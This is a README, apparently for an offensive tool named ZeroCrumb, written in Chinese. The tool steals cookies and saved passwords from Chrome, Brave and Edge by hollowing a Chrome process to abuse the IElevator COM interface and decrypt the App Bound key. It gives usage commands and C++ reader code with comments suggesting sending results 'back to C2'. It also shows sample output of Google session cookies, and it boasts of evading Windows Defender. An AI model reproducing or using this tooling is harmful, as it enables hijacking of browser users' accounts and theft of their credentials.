无需特权即可转储受 App Bound 保护的凭据与 Cookie。
ZeroCrumb 通过使用 Transacted Hollowing 伪装成 Chrome 实例来绕过 Chrome 提升服务,从而允许我们使用 IElevator COM 接口解密 App Bound Key。
然后,运行在被掏空的 Chrome 实例中的 key dumper 会通过命名管道将解密后的密钥发送回 ZeroCrumb。
之后,ZeroCrumb 使用先前获取的密钥解密指定浏览器的 cookies/密码。
ZeroCrumb 中使用命名管道允许任何程序(只要它能使用 Windows API)连接到 ZeroCrumb 命名管道并从中读取 App Bound Key。
如果你想将 ZeroCrumb 作为库使用,则需要编译一个 DLL,该 DLL 导出一个用于对 Chrome 执行 hollowing 并加载 key dumper 的函数。你可能还需要将 key dumper PE 嵌入到编译后 DLL 的 .rsrc 节中,之后使用应用程序资源 Windows API 获取它。
只要 key dumper 位于同一目录,你可以在任意目录中运行它。
ZeroCrumb.exe <BROWSER_TYPE> <DUMP_TYPE>
Browser Types:
Chrome -> 0
Brave -> 1
Edge -> 2
Dump Types:
Cookies
Passwords
ZeroCrumb 提供了易于使用的 CookieReader 和 PasswordReader 类:
auto reader = new CookieReader(cookiesPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::cookies);
reader->populateCookies();
for (auto& cookie : reader->cookies) {
string name = cookie->name;
string site = cookie->site;
string path = cookie->path;
string cookieValue = cookie->cookie;
// dump to file, send back to C2, etc...
}
// keep in mind passwords aren't encrypted using the app bound key (yet)
auto reader = new PasswordReader(passwordsPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::passwords);
reader->populatePasswords();
for (auto& password : reader->passwords) {
auto name = password->name;
auto site = password->site;
auto passwordValue = password->password;
// dump to file, send back to C2, etc...
}
ZeroCrumb 需要两个 Vcpkg 依赖:
sqlite3
libsodium
$ ZeroCrumb.exe 0 Cookies
[*] Reading From Pipe...
App Bound Key: 980f8ea8af3299d966a26242.....
============
Name: SIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXxD19T0KLMkrMC-eUXkrnEFi92OXq6rj1vydvmdL73olBVQGRQ4cG_hK5sqPhO1rLd1CM
============
Name: __Secure-1PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXXC8_MNDlVbAaw512aXu-QJkl0uKNW66rhjeufotzoJhT3OPN5TuCQnfKS8l57_WGfDw
============
Name: __Secure-3PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzVVySM4FWl9itegCN2evcSmBvGc7_iXHqkKZ6VYPKmR--_LsHx1Aflar6SU4nyJiDaFq028
============
Name: udid
Site: .veepn.com
Path: /
Cookie: 0dd5b8bb-8c5b-47f3-87f9-1db8fa7d885f
============
你可以修改 ZeroCrumb,使其适用于 cookies 和密码以外的任何类型的凭据。
这绝不是此绕过方式最隐蔽的实现,它可能会因为检测特定字符串、API 挂钩等方式被发现。
在我测试时,它能够绕过 Windows Defender,但我尚未检查其他杀毒软件。
如果将来此绕过实现被特征化检测,我会把如何让绕过更隐蔽作为练习留给用户。